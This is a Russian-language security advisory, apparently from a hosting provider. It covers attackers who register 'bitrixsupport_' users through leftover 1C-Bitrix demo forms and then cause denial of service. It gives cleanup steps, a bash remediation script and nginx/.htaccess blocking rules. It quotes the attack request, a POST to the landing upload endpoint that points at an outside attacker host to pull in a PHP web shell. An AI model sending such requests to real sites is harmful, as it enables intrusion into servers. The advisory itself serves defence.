
За последнюю неделю наша техническая поддержка фиксирует участившиеся попытки несанкционированно регистрировать новых пользователей через демо-компоненты 1С-Битрикс.
Что такое «демо-компоненты». Это тестовый набор информации (пользователи, товары, статьи), который система устанавливает «из коробки», чтобы сразу показать свои возможности. Вендор требует удалять все установочные и демо-компоненты при запуске реального сайта.
Впервые о проблеме заговорили более двух лет назад. Некорректная настройка системы позволяет злоумышленнику зарегистрироваться на сайте под видом обычного пользователя, даже если администратор полностью отключил публичную регистрацию в настройках. Это происходит из-за неудаленной демо-формы с возможностью самостоятельной регистрации пользователя.
Если в вашей админ-панели постоянно добавляются пользователи с логином bitrixsupport_, возможно, ваш проект настроен неправильно.
Как это работает
Злоумышленник через незакрытую администратором системы возможность самостоятельной регистрации создает новых «технических» пользователей с префиксом bitrixsupport_. А затем использует их для создания избыточной нагрузки. Проблема временно устраняется только после полной перезагрузки сервера или веб-сервера.
После успешной регистрации пользователи bitrixsupport_ выполняют запросы вида:
POST /bitrix/tools/landing/ajax.php?action=Site::uploadFileс нагрузкой
data[picture]=http://sql.bling.org/bx/<ваш_домен>.<ru>_xx/.description.phpв попытке загрузить php-шелл на сервер.
Возможно, на некоторых серверах это проходит успешно, нам же попадались только случаи, где такой запрос провоцировал DOS, но это не приводило к загрузке веб-шелла.
Попытка выполнения запроса от пользователя без регистрации приводит к ошибке «Недостаточно прав», и такое соединение сразу же закрывается в отличие от запросов пользователей bitrixsupport_.
DOS-атака может задевать apache веб-сервер, тогда сайт начинает отдавать 504 ошибку (Gateway Timeout) или MySQL начинает отдавать ошибку Error 1040: Too Many Connections.
Что нужно сделать
- Удалите ненужных пользователей с префиксом
bitrixsupport_.
Запомните: «1С-Битрикс» никогда не создает на ваших сайтах или в Битрикс24 неизвестные учётные записи. Такие аккаунты могут появиться только по вашей инициативе или в результате действий злоумышленника.
Как удалить. Перейдите в административную панель 1С-Битрикс по адресу:
/bitrix/admin/user_admin.php
Найдите и удалите всех пользователей с префиксом bitrixsupport_ — это не системные аккаунты, они не нужны и небезопасны.
- Обновите 1С-Битрикс до последней версии.
- Выполните перезапуск сервера или веб-сервера Apache/Nginx, чтобы очистить соединения и завершить сессии.
- Для дополнительной безопасности ограничьте доступ к формам регистрации.
Для автоматизации администратор может использовать скрипт, который сделает всё автоматически.
Забрать скрипт
#!/bin/bash
# Bitrix Reg Security Fix v.0.0.3 beta - защита от уязвимости регистрации
# 1. .htaccess - блокирует регистрацию пользовталей в ядре 1С Битрикс через демо-скрипты Bitrix
# 2. MySQL - удаляет пользователей bitrixsupport_* с подтверждением
# 3. nginx - блокирует все ?register=yes запросы с подтверждением
# может сломать некоторые скрипты на сайте
# перед использованием нужно проконсультироваться с разработчиком
#
# Автоматически определяет Bitrix Env, Docker, ISP Manager, проверяет nginx синтаксис до и после правок
# Применение скрипта на свой страх и риск
#
# Дебаг
# set -x -v
red="$(tput setaf 1)$(tput bold)"
green="$(tput setaf 2)$(tput bold)"
reset="$(tput sgr0)"
# show script version
self_current_version="Bitrix Reg Security Fix v.0.0.3 beta"
printf "\n${green}$self_current_version\n${reset}"
bitrix_fix_reg_paths () {
echo
if ! command -v nginx &> /dev/null; then
echo "${red}ERROR.${reset} Nginx was not found"
return 1
fi
echo "${green}Checking nginx paths${reset}" && echo
htaccess_directives=("Order allow,deny" "Deny from all")
# Define relative paths to check/create .htaccess files
rel_paths=(bitrix/wizards/bitrix/demo/public_files/ru/auth/.htaccess \
bitrix/wizards/bitrix/demo/modules/examples/public/language/ru/examples/custom-registration/.htaccess \
bitrix/wizards/bitrix/demo/modules/examples/public/language/ru/examples/my-components/.htaccess \
bitrix/wizards/bitrix/demo/modules/subscribe/public/personal/subscribe/.htaccess \
install/wizards/bitrix/infoportal/site/public/ru/personal/profile/.htaccess \
install/wizards/bitrix/infoportal/site/public/ru/board/my/.htaccess)
# Find all nginx root directives (standard root)
mapfile -t roots < <(grep -RhoP '^\s*root\s+"?\K[^";]+' /etc/nginx | tr -d '"' | sort -u)
# Find all nginx root_path directives (set $root_path)
mapfile -t root_paths < <(grep -RiIn "root_path " /etc/nginx | grep -oP 'set \$\w+\s+\K[^;]+' | tr -d ';' | tr -d '"' | sort -u)
# Combine both types of paths
all_paths=("${roots[@]}" "${root_paths[@]}")
# Remove duplicates while preserving order
declare -A seen
unique_paths=()
for path in "${all_paths[@]}"; do
if [[ ! "${seen[$path]}" ]]; then
seen["$path"]=1
unique_paths+=("$path")
fi
done
targets=()
for root in "${unique_paths[@]}"
do
# Clean up path (remove trailing spaces/special characters)
root=$(echo "$root" | xargs)
for rel in "${rel_paths[@]}"
do
f="$root/$rel"
d="$(dirname "$f")"
# Check if directory exists
if [ -d "$d" ]; then
if [ -f "$f" ]; then
all_directives_exist=true
for directive in "${htaccess_directives[@]}"; do
if ! grep -q "^[[:space:]]*$directive" "$f"; then
all_directives_exist=false
break
fi
done
if [ "$all_directives_exist" = false ]; then
printf '[DRY-RUN] would update: %s %s(file exists and will be updated)%s\n' "$f" "$green" "$reset"
targets+=("$f")
fi
else
printf '[DRY-RUN] would create: %s %s(not exist, will be created)%s\n' "$f" "$green" "$reset"
targets+=("$f")
fi
fi
done
done
[ "${#targets[@]}" -ne 0 ] && {
printf '\nApply changes? [Y/n]: '
read -r ans
case "${ans:-Y}" in
Y | y)
for f in "${targets[@]}"
do
if [ -f "$f" ]; then
temp_file="$(mktemp)"
printf "Order allow,deny\nDeny from all\n\n" > "$temp_file"
\cat "$f" >> "$temp_file"
temp_result="$(mktemp)"
\head -n 2 "$temp_file" > "$temp_result"
\tail -n +3 "$temp_file" | \
\grep -v "^[[:space:]]*Order allow,deny$" | \
\grep -v "^[[:space:]]*Deny from all$" >> "$temp_result"
\mv -f "$temp_result" "$f"
\rm -f "$temp_file"
printf '[OK] updated: %s\n' "$f"
else
mkdir -p "$(dirname "$f")"
printf "Order allow,deny\nDeny from all\n\n" > "$f"
printf '[OK] created: %s\n' "$f"
fi
done
;;
*)
printf 'Aborted\n'
;;
esac
} || printf "${green}No Bitrix paths found in nginx that need updating${reset}\n"
}
mysql_all_db_del_bitrixsupport () {
echo
found_any=0
mysql_accessible=0
check_mysql_connection() {
local container_id="$1"
if [[ -n "$container_id" ]]; then
docker exec "$container_id" mysql -e "SELECT 1;" &>/dev/null
else
mysql -e "SELECT 1;" &>/dev/null
fi
}
process_deletion_confirm() {
local db="$1"
local container_id="$2"
local container_image="$3"
echo -e "${red}Found bitrixsupport_% users${reset}\nDatabase: $db\nContainer: ${container_image:-local} (${container_id:-host})"
if [[ -n "$container_id" ]]; then
docker exec "$container_id" mysql -e \
"USE $db; SELECT ID,LOGIN,DATE_REGISTER FROM b_user WHERE LOGIN LIKE 'bitrixsupport_%';" 2>/dev/null
else
mysql -e \
"USE $db; SELECT ID,LOGIN,DATE_REGISTER FROM b_user WHERE LOGIN LIKE 'bitrixsupport_%';" 2>/dev/null
fi
echo
read -r -p "Delete these users from $db? [Y/n] " yn </dev/tty
yn=${yn:-Y}
if [[ "$yn" =~ ^[Yy]$ ]]; then
if [[ -n "$container_id" ]]; then
docker exec "$container_id" mysql -e \
"USE $db; DELETE FROM b_user WHERE LOGIN LIKE 'bitrixsupport_%';" 2>/dev/null
else
mysql -e \
"USE $db; DELETE FROM b_user WHERE LOGIN LIKE 'bitrixsupport_%';" 2>/dev/null
fi
if [[ -n "$container_id" ]]; then
remaining=$(docker exec "$container_id" mysql -e \
"USE $db; SELECT COUNT(*) FROM b_user WHERE LOGIN LIKE 'bitrixsupport_%';" 2>/dev/null)
else
remaining=$(mysql -e \
"USE $db; SELECT COUNT(*) FROM b_user WHERE LOGIN LIKE 'bitrixsupport_%';" 2>/dev/null)
fi
if [[ "$remaining" -eq 0 ]]; then
echo -e "${green}No remaining bitrixsupport_% users in $db${reset}"
else
echo -e "${red}Users still exist in $db${reset}"
fi
else
echo "Skipping deletion for $db"
fi
}
# Docker MySQL
if command -v docker &>/dev/null; then
while read -r id image; do
echo "$image" | grep -qiE 'percona|mysql|mariadb' || continue
check_mysql_connection "$id" || {
echo "${red}ERROR.${reset} Cannot connect to MySQL in container $image ($id)"
continue
}
mysql_accessible=1
dbs=$(docker exec "$id" mysql -N -e "SHOW DATABASES" 2>/dev/null | \
grep -Ev '^(information_schema|performance_schema|mysql|sys)')
while read -r db; do
[[ -z "$db" ]] && continue
docker exec "$id" mysql -N -e \
"USE $db; SHOW TABLES LIKE 'b_user';" 2>/dev/null | grep -q b_user || continue
users=$(docker exec "$id" mysql -N -e \
"USE $db; SELECT COUNT(*) FROM b_user WHERE LOGIN LIKE 'bitrixsupport_%';" 2>/dev/null)
if [[ "$users" -gt 0 ]]; then
found_any=1
process_deletion_confirm "$db" "$id" "$image"
fi
done <<< "$dbs"
done < <(docker ps --format '{{.ID}} {{.Image}}')
fi
# Local MySQL
if command -v mysql &>/dev/null; then
check_mysql_connection "" || {
echo "${red}ERROR.${reset} Cannot connect to local MySQL"
return
}
mysql_accessible=1
dbs=$(mysql -N -e "SHOW DATABASES" 2>/dev/null | \
grep -Ev '^(information_schema|performance_schema|mysql|sys)')
while read -r db; do
[[ -z "$db" ]] && continue
mysql -N -e "USE $db; SHOW TABLES LIKE 'b_user';" 2>/dev/null | grep -q b_user || continue
users=$(mysql -N -e \
"USE $db; SELECT COUNT(*) FROM b_user WHERE LOGIN LIKE 'bitrixsupport_%';" 2>/dev/null)
if [[ "$users" -gt 0 ]]; then
found_any=1
process_deletion_confirm "$db" "" ""
fi
done <<< "$dbs"
fi
[[ $found_any -eq 0 && $mysql_accessible -eq 1 ]] && \
echo -e "${green}Users like bitrixsupport_% were not found in any MySQL DBs${reset}"
}
block_all_register_in_nginx () {
echo
CONF_FILE="/etc/nginx/bx/conf/bitrix.conf"
DENY_CODE='# Deny 1C site user registration \nif ($arg_register = "yes") {\n return 403;\n}\n'
MGR_BIN="/usr/local/mgr5/sbin/mgrctl"
function check_nginx ()
{
nginx -t &> /dev/null
}
function apply_fix ()
{
local target_file="$1" config_type="$2"
# Check if fix already applied
grep -Eq '^[[:space:]]*if[[:space:]]*\(\$arg_register[[:space:]]*=[[:space:]]*"yes"\)' "$target_file" 2> /dev/null && {
echo "${green}\"?register=yes\" URL arguments already blocked in $target_file${reset}"
return 0
}
echo "${red}DANGEROUS. Check with the developer first${reset}"
read -rp "Block all \"?register=yes\" URL arguments globally in nginx? [y/N]: " answer
answer=${answer:-N}
[[ ! "$answer" =~ ^[Yy]$ ]] && return 1
if [[ "$config_type" == "direct" ]]
then
# Direct modification of nginx config
check_nginx || {
echo "${red}nginx -t failed before fix${reset}"
return 1
}
\cp -f "$target_file" "$target_file.bak"
echo -e "$DENY_CODE" > "$target_file.tmp"
cat "$target_file.bak" >> "$target_file.tmp"
\mv -f "$target_file.tmp" "$target_file"
else
# Create include file for ISP Manager
echo -e "$DENY_CODE" > "$target_file"
fi
if check_nginx && systemctl restart nginx
then
echo -e "${green}All \"?register=yes\" URL arguments successfully blocked in $target_file${reset}\nNginx restarted successfully"
[[ "$config_type" == "direct" ]] && \rm -f "$target_file.bak"
return 0
else
echo "${red}nginx -t failed after fix${reset}"
[[ "$config_type" == "direct" ]] && \mv -f "$target_file.bak" "$target_file" || \rm -f "$target_file"
check_nginx && echo "${green}Reverting success. No changes was made.${reset}" || \
echo "${red}Nginx configtest error. Check nginx -t manually.${reset}"
return 1
fi
}
# Main logic: apply fix based on environment
if [[ -f "$CONF_FILE" ]]
then
apply_fix "$CONF_FILE" "direct"
else
if [[ -x "$MGR_BIN" ]]
then
apply_fix "/etc/nginx/vhosts-includes/bitrix_reg_global_deny.conf" "include"
else
echo "${red}No /etc/nginx/bx/conf/bitrix.conf or ISP Manager were found. Cannot apply fix.${reset}"
return 1
fi
fi
}
# Execute all three security fixes
bitrix_fix_reg_paths
mysql_all_db_del_bitrixsupport
block_all_register_in_nginxКак ограничить регистрацию на демо-страницах
Если регистрация пользователей на сайте не требуется, добавьте следующий блок в начало файла /etc/nginx/bx/conf/bitrix.conf:
#Deny 1C site user registration
if ($arg_register = "yes") {
return 403;
}Если регистрация в целом нужна, но нужно закрыть устаревшие формы:
Добавьте файлы
.htaccessсо следующим содержимым:Order allow,deny Deny from all- Добавьте их в директории (только если они существуют):
bitrix/wizards/bitrix/demo/public_files/ru/auth/.htaccess
bitrix/wizards/bitrix/demo/modules/examples/public/language/ru/examples/custom-registration/.htaccess
bitrix/wizards/bitrix/demo/modules/examples/public/language/ru/examples/my-components/.htaccess
bitrix/wizards/bitrix/demo/modules/subscribe/public/personal/subscribe/.htaccess
install/wizards/bitrix/infoportal/site/public/ru/personal/profile/.htaccess
install/wizards/bitrix/infoportal/site/public/ru/board/my/.htaccessРекомендуем проверить ваш проект как можно скорее. Если потребуется помощь — вы всегда можете обратиться в нашу службу поддержки из Личного кабинета.